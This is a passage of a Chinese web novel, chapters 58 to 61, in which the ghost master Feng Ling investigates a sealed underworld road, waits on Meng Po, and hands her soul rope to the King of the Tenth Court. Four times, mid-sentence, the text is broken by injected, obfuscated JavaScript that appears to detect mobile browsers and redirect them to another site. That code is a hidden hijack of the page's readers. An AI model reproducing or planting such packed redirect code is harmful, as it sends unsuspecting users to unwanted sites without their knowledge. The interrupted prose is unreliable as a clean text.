封灵却没有急着开口,而是先朝左右两边各投去一眼,摊位旁假装忙碌实则竖耳偷听的货商立刻缩了回去,一副无事发生的样子。 “上次……让你再去找那深林找些好东西回来卖给我,怎么就一点下文也没有了?” 封灵走近两步,嫌弃地看了眼被摊主睡过的躺椅,犹豫了几瞬还是没有坐上去。视线逡巡般从满桌的货物上扫过,封灵才问出今日过来的目的。 “这、这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575167|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 摊主急急转了两下眼珠,试图找个能说服封灵的借口,“卑人去过的、去过的!但真是记不住地方了,也实在没找到其他东西……又听说鬼师娘娘近来繁忙,地府里也不多见您的踪影,这才、这才没有及时相告……” “你莫不是以为,我之前在跟你客套罢?” 封灵拈起一颗泛着幽光的鲛珠,放在眼前细看了两眼,又不感兴趣般扔回去,“若头家不想帮忙,当初便该婉言谢绝才是,我也不是喜欢勉强人的性子……可头家既应下了,却连个交代都不肯给封灵,实在是叫我多想哪!” 封灵信口胡诌,又捎带三分威胁。 “……那您、您想要如何呢?” 摊主捂着差点又要被吓掉的脑袋,自觉听出了几分言外之意,当即凑上前去,又态度殷勤地询问道。 封灵笑了一下,从兜袋里摸出了在百望山找到的桃木残片,既轻且缓地搁在桌面上,又朝摊主示意一眼,“头家可在什么地方见过这木片,或是觉得它眼熟?” 摊主佝偻着身子,两只手颤巍巍的抖了几抖,才敢顶着封灵灼灼的逼视,从桌上拿起那桃木残片。 凑在眼皮子底下看了又看,摊主的脸上闪过几丝不确定,须臾又置在鼻下嗅了两嗅,方在封灵开始不耐烦起来的表情下迟疑抬头,犹豫着开口—— “……鬼师娘娘是找到那片深林了?这东西瞧着倒像是从那里挖出来的。” “你确定没有看错?” 封灵不答反问。 “卑人也不敢说一定就是,毕竟间隔的有些久了……只闻着确定像那地方的味道,便连这木片也是如出一辙的阴冷。” 摊主斟酌着开口,给自己留了三分余地。 封灵从摊主的手上取回木片,面上一脉的平静,“你上次说那地方是古战场,又终年浓雾不散,我去的虽也是一处山林,前身却是座古旧村落……与你的话倒是不甚吻合。” 摊主奇怪地挠着脑袋,像是不信自己的嗅觉出了问题般,冥思苦想了一阵又突然反应过来,“敢问您口中的村落,建于何时,又是因何事而毁的呢?” “当是千年前的村落,至于是怎么毁的……我便不清楚了,不过千年前鬼祸盛行,或许有此缘由吧?” 封灵回忆着从解玉那里听来的故事,有些不确定的开口。 “那便说的通了,”摊主两手一拍,“千年前人鬼混战,人间哪地不是厮杀的战场。卑人几百年前听说那深林前身是座古战场,鬼师娘娘又说那地方千年前是座村落,时间上也并不冲突哪!” 这话乍一听有些强词夺理,封灵却无端由地沉默了起来,须臾复又开口:“便当你猜测的都对,还想起别的了么……譬如,这木片跟折扇之间有没有什么关系?” 封灵中途停顿了一下,似乎还有些摇摆不定,可最后还是问了出来。 “看着,倒有几分像那棺木的残片……” 摊主说得小声,听在封灵的耳朵里却如惊雷一般。 “……你说什么?” “卑人、卑人胡乱说的!记不清了,真记不清了!鬼师娘娘饶命啊!” 摊主抱着脑袋再一次缩到了桌角。 58. 封路黄泉 “你……你给我滚出来!” 没料想摊主会有此动作,封灵愣了一下才反应过来,旋即生起气来。愤愤然低喊一句,封灵抬眼扫了圈左右欲看热闹的家伙,威胁般的眯起红眸,“看什么!再看……仔细我把你们的眼珠子挖出来当砂炮踩!” 又抬手掀翻两个距离最近的,将余下不死心还想要围观的几只老鬼吓跑以后,这才蹲下身子与摊主重新说起话来,“你什么意思,什么叫记不清了,什么叫胡乱说的……信不信我真把你脑袋拧下来当球踢!” 话虽如此,却也只是拿扇子往摊主的脑袋上敲了两下,连力道也是收着的。 “鬼师娘娘,真不是卑人戏耍您,实在是卑人为采货去过的地方太多了……若非那扇子放在卑人手里几百年了也没卖出去,卑人对它也是没什么印象的。” 摊主腋下夹着脑袋,两只手搂紧桌角不放,生怕自己哪句话说的不对,被表情正难看的鬼师娘娘拖出来暴打一顿。 “……那你刚才的话,几分算真,几分算猜?” 封灵将手搭在膝盖,微垂着眼睛,语气稍有和缓。 被衣角盖住的眼睛骨碌碌地转了两圈,摊主试探性的朝外走了两步,又一点点摸着桌角站了起来。小心翼翼地将脑袋装回脖子,摊主正要再说两句别的,却突然自外而内的涌进了数以百计的新鬼,生生冲散了鬼市所有的摊位。 封灵也被撞得在原地转了两圈,等扶住桌角重新站稳,那摊主早已不见了踪影,连带着长桌上的货物也消失了,空荡荡的只剩下她自己带来的那块桃木残片。 “……跑得倒快!” 封灵啧了一声,顺手扶起刚才在混乱中摔倒的、被踩了许多脚的一只年轻鬼,“你是才死掉的新鬼吧,不走黄泉路上奈何桥,无端端的冲进鬼市做甚?” 黄泉与黄泉路虽一字之差,内里却是多有不同的。黄泉绵延八百里,能容新鬼进酆都城的却只有一条黄泉路。若没有鬼差接引,大半的新鬼都会在飘落黄泉的一瞬间被漫天风沙挡去眼睛,迷失踪迹直至魂消魄散。 而数量如此密集的新鬼,按说该有不少鬼差引路才对,又怎会让他们就这样冲进鬼市? 那年轻鬼显然还不太适应自己轻飘飘的身体,迷迷瞪瞪的摇晃几下后,才找准方向朝封灵拱手道谢,“多谢姑娘……小生刚才确是走在黄泉路上的,可没走两步便来了好几位鬼差大人,说什么这条路已经封了,不能再让我们继续通过,又勒令接引我们的鬼差改以符纹的方式进城。两边的鬼差便争执了起来,推搡间小生和其他人、鬼们就进了这地方……姑娘方才说这是鬼市?” 黄泉路封了? 这又是什么时候的事…… 封灵面上有些不解。盖因她回来时为图省事,并没有如往常般行经黄泉。但她刚才在酆都城绕了一圈,也没听见谁说要封黄泉路的消息,未免也太突然了…… 无暇回答年轻鬼的问题,封灵朝其后匆匆赶来的鬼差一颔首。等着他将新鬼带离,又简单客套了两句才切入正题,“我听说黄泉路被封了,就这么一条进酆都城的大路,怎么还不让走了?” “咱们也正纳闷呢!”那鬼差亦是奇怪,“兄弟们之前可一点风声都没收到,上半日都还能随便往返呢!如今倒说是谢爷的吩咐,一下子便把所有的新鬼都拦住了……这不是瞎耽误工夫么!” “……谢必安?” 封灵低声呢喃了两句,一时也摸不准这位白无常大人的想法,又还记挂着敢在她眼皮子底下偷溜的摊主,正欲敷衍两句离开,却被那鬼差拍了拍臂肘,又跟指路似的朝左前方抬了抬下巴,“喏,谢爷派过来的鬼差,这会儿都还在入口的地方守着呢……就跟谁会偷摸跑进去一样!” 如此热心肠,封灵也不好当没看见,便顺着指引的方向瞥了一眼,果然见到了好几个熟面孔,俱是谢必安身边的亲近者,为首的竟还是白无常座下最受信任的一位姓郑的鬼差。 那位郑鬼差显然也看到了封灵,遥遥一拱手,不多时又单独走了过来,“许久未在地府见到鬼师娘娘了,也不知您近来去了何处,竟连谢爷的殿室也少来了。” 显然是与封灵打过交道的。 “……我去找谢必安,坐在他的殿室吃两口茶,然后再当着你们的面与他打一架么?没意思。还不如我哪次将他打进拔舌地狱,也好灭了他那根惯会造谣的破舌头。” 红衣鬼师的口气颇为嫌弃,旋即绕过这一话头,又问起黄泉路的事情,“这又是怎么一回事?谢必安莫不是要升官了不成,竟也开始管起黄泉来了。” 郑鬼差倒也坦诚,“我哪里知道谢爷在想些什么,总归是他让我们几个守着,我们便就守着呗!” “……鬼师娘娘,要不您也帮兄弟们去问问,谢爷他究竟为什么突然要封了黄泉路,”郑鬼差将脑袋凑得近了些,语气颇有些为难,“如今就只让我们守在这里,到时候若误了新鬼往生,冥主他老人家怪罪下来可怎么是好!” 红眸越过一众鬼差的肩膀,封灵朝黄泉路的方向张望了几眼,“你们来时就没在里头多看两眼么……是不是有东西跑进去藏起来了,这才要下令封了黄泉路?” 郑鬼差还真垂目思忖了起来,只是没多久便沮丧地一摇头,“我们一直等到里面的新鬼都出去了,才改守在入口的地方,这期间也并没有发生什么奇怪的事情哪……” “你再仔细想想……没有奇怪的东西,也没有奇怪的事情,一切正常的话,谢必安让你们守着它做甚?”封灵轻轻转了下眼珠,忽而忆起了幽魂草的事情,“或许,是黄泉路跟以前不一样了呢?” 郑鬼差这次连想都不想了,直接摆手示意起来,“哪有什么区别……还是跟以前一样的难走,抬眼看路便会被风沙糊脸,闭上眼睛又会被幽魂草绊倒。要我说,人间烧往地府的金银财帛也不少,与其再堆个破钱山出来,还不如匀一部分,把这条路好生修整修整。要不被新鬼看了,还以为咱们酆都城有多寒碜呢!” 郑鬼差说着便开始抱怨起来,又惹来周边一众鬼差点头赞同。封灵却没有跟着附和,她的注意力已全被郑鬼差话里的幽魂草三字给吸引走了。 谢必安不是说,酆都大帝下令要灭了所有的幽魂草么……且那仙官是被长在黄泉路上的幽魂草吃掉的,它们合该首当其冲才是,又怎么留到了现在? 还是说,正因为它们是吃了仙官的罪魁祸首,谢必安才会先灭了其他地方的幽魂草,转而将黄泉路的那一茬留到最后,也方便天君们论罪? “怎么,那些野草竟还好端端的长在黄泉路上呢?”封灵轻轻眨了下眼睫,状似不经意地开口,“谢必安不是说要将它们统统除掉么,是还没动手?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581789|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“……谢爷要除掉幽魂草?” 郑鬼差一脸的不知情,“鬼师娘娘莫不是听错了消息?我等日日随在谢爷身边当差,却也未听说过谢爷要去除什么幽魂草哪!” 封灵有些僵硬地勾了勾唇角,一并掩去眼底的些许震荡,只顺着这番话又简单附和了一句,“你都这么说了,或许真是我听错了。” 说罢,也不等郑鬼差再开口,紧跟着补上一句,“我还有其他事情要办,便不在这里多留了……改日再去白无常殿找郑鬼差闲话。” 后者倒也识趣,旋即拱手道别不说,还亲自将封灵送出了鬼市,直等着红色影子完全消失了才又回去。 另一厢,离开鬼市的封灵直接去了白无常殿。无声息的飘落在台阶前,红衣鬼师抬眼看向死死闭合的大门,脚尖挪了个方向,便要推门而入。 却不想内里有谁先一步将门打开了。 “……封灵?” 范无咎面无表情的跨过门槛,近前两步又停在封灵的身前,“你回来了?” 封灵简单嗯了一声,并不多做解释。只看着黑无常身后已然洞开的大门,正要越过眼前的“人墙”进去寻某位谢姓无常,却听前者又一次开口—— “你是来找谢必安的?” “……有些事情问他,便过来了。” 封灵听出这话里的其他意味,便干脆停在原地等他的下文。 “他出去办差了,不在里面。” 范无咎言简意赅。 封灵面露狐疑之色,“他哪日不办差,我进去等他回来就是……再说他去办差,你怎么没跟着一起?” “他让我帮忙除幽魂草,人间地府的指了一堆地方,”范无咎一字一句,“但那草实在太多了,我几日奔波也不过灭了十之三、四……今日本是过来与他商量下对策的。” “……你知道幽魂草的事情?” 封灵眼皮倏地一跳,本来坚定的心又开始摇摆不定起来。 范无咎却是先看了圈周遭环境,确认附近再没有其他的小鬼后,才点头肯定了封灵的话,“仙官那事……底下办事的鬼差们不清楚,上面的几个阎王都是知道的。谢必安是因为当时正跟在冥主身边,所以被派了这个活计,至于我么……纯粹是被抓壮丁了。” 说着,又掀起眼皮看向封灵,“你会这么问,是也被谢必安找过了?” 后者唔了一声,算是回应。 “……看来是抓了不止一个壮丁,”范无咎平静的发出一声感慨,“你若也是为了幽魂草来找他的,便不必进去了。殿里的小鬼说他最快也得三、五日以后才能回来……封灵,你跟我这一趟都算是扑空了。” 难道真是她想多了? 封灵有些举棋不定,又在范无咎解释般的一番话中败下阵来。 跟着黑无常转身下阶,封灵在拐角的地方与范无咎拱手道别。回头看了眼尤自敞开着大门的白无常殿,封灵心下沉沉。 罢了,也就是再多等个几日的工夫,左右她也还要再去鬼市一守那摊主的踪影,多一个没回来的谢必安也不打紧。 等把她自己的事问清楚了,解玉的事情应该也处理的差不多了。到时候再回去人间,就可以好生过舒坦日子,只烦心如何让解道长当上鬼差了。 封灵舒了眉眼,因幽魂草而有些躁烦的心重又平静下来。 59. 真亦假时 这一次,却注定要让封灵失望了。 那之后的五、六日,鬼师娘娘的红衣数次出现在白无常殿与鬼市之间,却始终没有等到自己想见的那两道身影。 范无咎似乎也对幽灵草颇为头疼,又或许只是对做甩手掌柜的谢必安感到不满,总之得空时也会与封灵同去白无常殿守株待兔,可没两日工夫便被转轮王另派了差事,遂偃旗息鼓将重担托付给了封灵。 “……什么差事这般紧要,都出去了多少日了还不回来!” 封灵坐在顺手从孟婆摊薅来的矮凳,将自己扎在血河池的边上,不时朝水里砸去几块硕大的石头。封灵单手撑住下颌,一边听着沉在池底的残魂发出不死心的嘶吼,一边朝不远处的孟婆抱怨道。 孟婆正将手悬停在暗红色的池面上,像是在确认什么般落下一团莹白雾气。眼看它一点点包裹住整个池面后,才重新将手拢回袖中,闻言头也不抬地道:“你找他顶什么用,灭幽魂草的令是冥主下的,他最多算诓着你和小黑替他办事,给自己捡懒罢了……以后别随便往血河池里扔东西,里面都是些失了智的残魂,扔什么吃什么,吃后不舒坦又只会嘶吼乱叫,吵得很。” 封灵哦了一声,眼神有一瞬间的飘忽,“……那我也还是要找他的,他还欠我十年的功业呢!” “就为这事?”孟婆摇头失笑,“那你回人间陪着解道长罢,我在这替你守着。若见到了小白,便折只纸鹤给你捎封信去,届时你再回来不就行了。” “……不成,”封灵的声音小了些,“那是要给解玉的,我得盯着。” 孟婆闻言坐得近了些,也如封灵一般撑住下颌,歪着头小声道:“封灵儿,你莫不是又被小白诓了……地府是禁止鬼神与凡人做交易的,他如何能分给解道长功业?” “不是与解玉,是与我。”封灵面不改色,“我帮他清了幽魂草,他承诺给我十年功业,有因有果,虽是交易,我也是没占他便宜。至于解玉那边,我又算不上地府属官,到时候就白送给他,谁敢说我违律!” 孟婆一下子笑出声来,“你分明在强词夺理……不过也不打紧,左右咱们都与你相熟,对解道长那边睁一只眼闭一只眼的也就过去了。” 话音刚落,却毫无征兆地捂了自己额头一下,脸上笑意顷刻间消失,抿着嘴好一阵才开口,声音却近乎耳语,“……但是也不成。” 孟婆说这话的时候,眼睛只盯着血河池的池面,并没有朝封灵的方向瞥去分毫,前者便也没有反应。直到孟婆又重复了一次,才恍然般抬头,“你刚才在说……什么不成?” “你那法子……”孟婆已恢复稀松平常的表情,迎着封灵疑惑的目光浅浅一笑,“解道长是凡人,若要受非己所有的功业,便还得再去一趟第十殿才行。” “这又是为何?” 封灵更加奇怪,“解玉一介凡人,寿数都还没尽呢,怎好让他随便下地府……再说了,便真要找阎王,也该去第一殿找查人功过的秦广王,做甚去找那分善定恶的转轮王哪!” “……谁让转轮王要管你这只鬼呢!” 孟婆抬手戳了下封灵眉心,“你这是把自己的功业送出去,当然得在转轮王那里落上一笔了,否则怎么算你的功罪?” 说的倒也在理。 只是…… “算不算的又有什么关系,我千八百年里抓了那么多的鬼,也没见他主动问过我功业罪业的事情,更别说告诉我何日能去投胎了。况且以后……或许都不重要了。” 解玉死后能当上鬼差最好,若不能,便只有按照她一开始的想法,让解玉做一只不会投胎的鬼。也因此,她得先成为一只不会投胎的鬼才行。 脱去恶鬼的身份,去人间做一世的干净凡人当然好,可如今却不是她最想要的了……与其无知无觉的活个几十年,再经由地府不断的重复往返,还不如与某个习惯的人长久地待在一起,至少不必一次次的从头开始,也不必一次次的重新习惯。 “……封灵儿,你这是说的什么话?” 孟婆的眼神似乎是松了口气的意思,可面上却维持着一副劝解的面具,里外割裂得让人生异。只可惜封灵始终盯着血河池,并没有注意到孟婆这边的怪状。 “你若不去,又怎知自己还能在地府再呆多少年呢?”孟婆的声音带着一丝引诱,“若来日解道长真入了地府,你却因为恶业消散回去了人间,这可怎么是好?趁现在机会刚好,让转轮王给你瞧瞧,心里有个数也是好的呀。” “……你说的,似乎也有些道理。” 封灵一点点坐直身子,认真思忖起孟婆的话来。她之前只念着解玉的凡人身份,又默认抓鬼千年都没有洗清罪业的自己再没有投胎的可能,这才无所畏惧的只操心起解道长的事情来。可若按孟婆的说法,万一她真就哪天被扔去轮回了呢,解玉不就白下来了! “我还是这会就去趟第十殿吧,早些找转轮王把事情问清楚了,我也可放心些。” 封灵越想越觉得孟婆说的有道理,索性择日不如撞日,趁自己这会儿正惦挂着,干脆跑一趟算了,也免得到时候跟鬼市摊主和谢必安的事情撞在一起,最后哪头都顾不上。 说话间,封灵也再不迟疑地起身,正要与孟婆道别,却被后者突然间的狠狠一拽,顺着力道又跌回了矮凳之上。 “……又不是什么要紧事,哪日去不都一样么。封灵儿,你回来的这些日子,连小白的殿室都跑去不止一趟了,偏来我这小摊闲话的次数只一只手都数的过来。如今又要为了解道长撇下我,当真要成了话本里的薄情郎了!” 孟婆的力道远不至于让封灵受伤,只是没有防备之下骤然被扯了回来,少不得有些头晕眼花。等封灵浑沌的大脑重新恢复运转,传进耳朵里的便是这样一番话,连语气也与之前不大一样了。 比之一开始似有如无的催促,孟婆如今倒更像是在拖延着什么,却又被隐晦地埋进了打趣与埋怨的话里,轻飘飘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591249|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不显露出一星半点的痕迹。连封灵也只是短暂感受到了一瞬间的异样,便又被孟婆后半截话转移了注意力。 “孟婆,你这又是说的什么话,”封灵哑然失笑,“分明是你自己来劝说我的,怎么我决定好了,你反倒说我薄情了?” “我是我,话是话。” 一双灰眸闭合又张开,孟婆眼底闪烁着晦涩难懂的光芒,视线几度飘忽,最终也只是落回了血河池的池面。 “左右解道长还在风华正茂的年纪,也不缺你这一日半日的……从前也没见你这么听过我的话。” 孟婆似是解释,似是埋怨,只是说的话仍有些苍白无力,或者说是前言不搭后语。 “泰媪大人,鬼师娘娘,您二位怕都还不知道吧……” 又一次被孟婆从路边抓来帮工的牛头被迫守在隔壁听了全场,这会儿正拿着蒲扇蹲在角落,一面盯着熬汤的火候,一面小心翼翼地开口,“转轮王他今早已经离开地府了,鬼师娘娘便是这会儿赶过去,也是找不见第十殿的任何一位鬼差的。” “……转轮王也出去办差事了?” 封灵诧异反问。 她今回的运气竟如此之“好”,想找的一个也不在,想问的一个也没有结果。若不是从不同“人”嘴里听到的,时间也各有差异,她是真怀疑这群家伙在故意躲着她了…… “这个我便不清楚了,只知道是受了冥主的传召,匆忙领着手底下的鬼差离开的。想来是有什么要紧事,这才惊动了阎王老爷吧。” 牛头憨呆地挠着脸,毫无保留的交代了自己听说的所有事,虽然也只是片面皮毛。 “又要个三、五日……” 封灵撇了撇嘴,毫不遮掩自己的嫌弃,“哪里来那么多的棘手事情,还动不动就要几日的工夫……我当年怎么就能一、两日便回来?” “所以才招你做了鬼师娘娘呀,”孟婆的表情这会儿已好上不少,也有闲心重新与封灵说笑起来,“看来,只好委屈你在我这里多留两日了。” “我又不是没有住处,跟你挤在一起像什么话,还是算了!” 封灵立刻摇头拒绝。 她倒不是嫌弃孟婆,只是这新鬼来的时辰不定,数量也不定。鬼虽然不用睡觉,她却也不想日日被哭嚎声吵着耳朵,尤其是血河池里的那一堆。 “……封灵儿,我这可是为了你好。” 孟婆拽过封灵的胳臂,又从牛头手里接过蒲扇,示意前者可以离开以后,一红一灰两道影子重又回到奈何桥头。 挥手将孟婆汤送到围拥着等候许久的新鬼手里,孟婆斜斜睨了红衣鬼一眼,“他们必得从鬼门关出入的,你留在我这儿打打下手,保不齐还能第一个发现他们呢?” 封灵唔了一声,红眸缓慢地眨了眨,发现自己并没有更好的选择后,也只能顺着孟婆的话点头应许,又强迫般按捺下自己心中陡然升起的悸动。 再等等。 就,再等等…… 60. 假亦真矣 “哐当”一声将孟婆汤搁到桌前,封灵后退几步倚回角落,两手交叠抱在胸前,一双红眸不住地朝外打量着。 “……说好的三、五日便回,这眼瞧着都快七、八日了,怎么连个影子都没见到!” 语气带着明显的不耐烦。 比之封灵已浮于面上的躁烦,孟婆便显得自在了许多,甚至连惯常的新鬼捣乱也不见生气。抬手将长柄汤勺搁回盆里,孟婆拍了拍袖上并不存在的污渍,语带笑意地开口:“你如今的耐性也忒差了,不过才多等了两日,怎就抱怨起来了?” “耐性?” 封灵看也不看地挥出一道透白风刃,又分毫不差地落在左前方正试图倒掉孟婆汤的秃头老鬼脚边,留下一道深深的砍痕,“那是什么东西,我怎么不知道自己有过?” 慢条斯理的收回手,封灵勉强向孟婆分了丝目光,“谢必安到现在没回来,还能说他是遇到了什么难缠的。转轮王么……若连阎王老爷都治不了的东西,早就让冥主出手了,又何必耽搁到现在?分明就是他不想回来!” “……他们不回来,也挺好的。” 孟婆偏头看着封灵苍白的侧脸,突然呢喃了一句。 “呸呸呸!” 封灵根本听不得这话,连连啐了两声,又回视起孟婆的目光,“你最近是怎么了?说让我去第十殿的是你,说让我留在奈何桥等着的也是你……如今我都听你的话守了几日了,你怎么又冒出来了新的话?” “……要是他们回来了,封灵儿,你还会老实留在这里替我打下手么?” 孟婆不答反问,表情是一脉的坦然,“你若是我,难道会希望他们早早地回来不成?” 竟一时把封灵给问住了。 “……左右,你是不会害我的。” 猩红的眸眼里满透着信任,全然无保留地看向孟婆,好一会才重新挪回小摊外,如盘桓在望乡台的游魂孤鬼一般,继续盯着奈何桥的另一头等待起来。 孟婆却被这眼神刺了一下,如被火燎般颤了颤眼睫,又在封灵收回视线的下一刻别过脸去,藏在袖下的手几乎抖的不成样子。 如此又是一阵,停留在孟婆摊上的新鬼也逐渐变少,偶有路过的鬼差停下来闲话两句。再熟稔些的,便直接与封灵说笑摆谈,或朝孟婆讨要其另煮的茶水喝了。 “鬼师娘娘!转轮王刚刚回了地府,如今正在第十殿说事呢,您去见他了么?” 迎面走来妖冥使之一的鸟嘴,手里逗弄着刚从人间勾回来的雀鸟精魂,见封灵还停在孟婆小摊,便也顺口一提。 “……转轮王回来了?”封灵动作不改地搁下碗,却没有立刻抬头,“怎不见他从奈何桥上经过,竟是直接进城了吗?” “阎王爷嫌弃黄泉路被封了呗,又不耐烦绕路穿八百里黄泉,所以直接回了第十殿,说是懒得折腾。” 鸟嘴毫不犹豫地揭了转轮王老底。 “谢必安一个无常的命令,也能做的了他阎王老爷的主?”封灵忙完了手里的事,这才有闲心细细询问,“再者,我看你来的方向,不也是黄泉么……你走得,转轮王便走不得了?” 鸟嘴呵呵一笑,“那哪能一样哪。我这些乖乖们可比人听话多了,我领着它们逛了一圈黄泉,还会给我唱歌解闷儿呢!” “……转轮王这趟是出去抓人了?” 封灵神色微动。 “嗐,这哪是我能知道的呀,”鸟嘴将不知何时蹦到自己头顶的小雀鸟逗弄下来,又朝封灵一摇头,“只听说十老爷回来的时候表情不太好看,又两手空空的,怕是无功而返了……鬼师娘娘,您若要去找他老人家,可小心别撞枪口上了。” 封灵回以一笑,算是谢过鸟嘴的好心。 “孟婆,我过去一趟,很快就回来了。” 扯过挂在桌角的布帕,封灵低着头擦去手里水渍,一并与身旁缄默不语的孟婆交代了两句。 “封灵儿……” 孟婆启唇欲唤,前者的身影却已然消失。 “泰媪大人,鬼师娘娘是有什么要紧的事情?守了这许多日不说,如今一听到十老爷回来了,就这样马不停蹄的过去了。” 鸟嘴正得空,便也没急着离开,索性一跨步坐到了孟婆对面,看着封灵消失的地方一时纳罕。 “……我哪里会知道。” 孟婆勉强笑了一下,眼底是挥散不去的阴霾。 …… “问转轮王好呀!” 封灵像阵风似的飘进第十殿,又轻车熟路地拐进后殿,果不其然在躺椅上见到了某道熟悉的身影。 与鸟嘴方才说的一致,刚从外面回来的转轮王脸色果然不佳,可也没见到其他议事的灵官聚集殿内。想来是她来的晚了些,鬼差与阴兵们都已然散去了。 “你这时辰倒选的好,我才把自己殿内的事情吩咐完,还指望着休憩片刻呢……听说你回地府也有好些日子了,今儿个是怎么,竟想起过来探望我了?” 转轮王将搁在自己眼皮上的手掌放下,眼睛看向虚空停了几瞬,方才反应过来般从躺椅上坐起,又语气如常地问起封灵来。 “我、就是来问问你,谢必安答应给我的那十年功业,可已经划到我名字下头了?” 封灵眼神闪烁了两下,许多事情在喉间打了个转,最后还是决定先从容易的入手。 转轮王唔了一声,“小白啊……他之前已经为这事来找过我了。放心吧,我都给你记在功过簿里了,一分一毫都不会少你的。” 转轮王点了点正摊开放在桌案上的古旧书簿——正是书录了地府所有鬼物功恶罚赏的功过簿。 封灵的名字也在上头,停留了千年光景。 “……我听说,若要把自己的功业转送给别人,须得重新在你这里记上一笔?” 封灵总觉得从转轮王的话里听出了几分莫名的失望,却又不知这失望从何而来,只好暂时按捺不提,又一件件问起自己的事情来。 “是,可我只管鬼这一方的……听鬼师娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603235|133632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘的意思,是想要将自己辛辛苦苦攒的功业送给谁不成?” 转轮王像是突然来了兴致,坐姿更笔挺了不说,连询问的语气也积极不少。 “那就行……还请转轮王帮我撰录一人名姓,将这十年的功业俱数给他。” 封灵心中的大石落了少许。虽然其他的事情都还在停滞不前,但至少解玉这厢足够解决了。 转轮王眼底闪过一丝深意,挥袖将功过簿收回自己手边,幻出一只狼毫便要落笔,又在墨渍滴上泛黄纸张的前一刻稳稳停下,状似不经意般开口:“是哪一位这般有福气,竟能让你主动舍了功业……看来鬼师娘娘是还没替地府抓够鬼哪!” 封灵一听这话,立刻接口问道:“我正好还有一事要问你呢……我的恶业还剩下多少?又还需要多少的功业才能作抵?” 转轮王一下子收了笔,脸上似乎有极淡的一抹笑痕浮现。偏头迎上封灵询问的眼神,十老爷清了清嗓子正要开口,却见一只纸鹤从殿外缓缓飞入,又毫不停滞地落在他的膝前。 翻手将纸鹤收入掌心,转轮王姿态随意地将其捏碎,又敛目感受了几瞬,脸上却显露出几分震怒。 迅速从躺椅上起身,转轮王颇为暴躁地在殿内踱了两圈。原本搁在膝上的功过簿也顺势滑落地面,又被前者在走动时不经意间踢进角落。 封灵垂下眼睑,又将视线从角落的功过簿上收回,看着尤在转个不停的阎王爷大人,想了想主动道:“可是出了什么事情?我这边无甚要紧的,转轮王不妨直接去办,我改日再来第十殿叨扰您一场便是。” 转轮王似乎正等着封灵这番话,匆匆道谢一声便要离开,却又在跨出殿门的前一刻绕了回来,面露少许难色,“……你从小黑小白手里赢来的勾魂索,这会儿可还带着身上?” 红衣鬼师摸上自己的手腕,点了点头算是回答,却没有立刻将勾魂索解下来,只言语谨慎地开口:“您问这个做什么?是想帮他们将勾魂索要回去不成?” “来了两个不长眼的东西,我得赶去把它们处理了才行……所以,借你勾魂索一用!” 像是想到了什么不算愉快的事情,转轮王再开口时的语气便差上许多。 封灵听着却更加奇怪,“您莫不是在与我玩笑……第十殿里什么样的武器没有,便是您也自有用惯了的兵器的,又何必要借我的这根勾魂索呢?” “那东西我得生擒回来,用你这勾魂索再合适不过,”转轮王解释了两句,“若使我的武器,只怕一下子就魂飞魄散了……小黑和小白近来又不在地府,事急从权,我便只好腆着脸要你手上的这一根了。” 倒也说得过去。 封灵摩挲着腕上红绳,心底也还挂记着角落里的功过簿。犹豫了几瞬,还是将勾魂索取下递了出去。 转轮王看着封灵的动作,眼底笑意愈发浓烈。抬手将勾魂索收回怀中,又朝封灵颔首一示意,转轮王便再不停留地消失了。 空旷的后殿内,一下子只剩了封灵。 61. 谎言终碎 封灵沉默地停留在原地,像是在等待什么般静站了一会儿。确认转轮王没有下令让任何阴兵进来后,方才挪动脚步,拖着赤红的裙角朝躺椅边上的角落走去。 两膝触地,封灵俯身朝前一探,便捡拾起被转轮王匆忙间遗落的功过簿。拿在手里掸了掸灰尘,红衣鬼再度朝殿外张望了两眼,方才就近找了个地方盘腿坐下,将全副注意力放在了这簿册上。 苍白的指尖从封页上轻轻划过,隐约可见几分颤抖。封灵缓缓吐出一口浊气,竟突然有些“近乡情怯”起来。强自按捺下满腔混乱的思绪,红衣鬼翻开扉页,垂目一点点细看起来。 “……奇怪,怎么一个字都没有。” 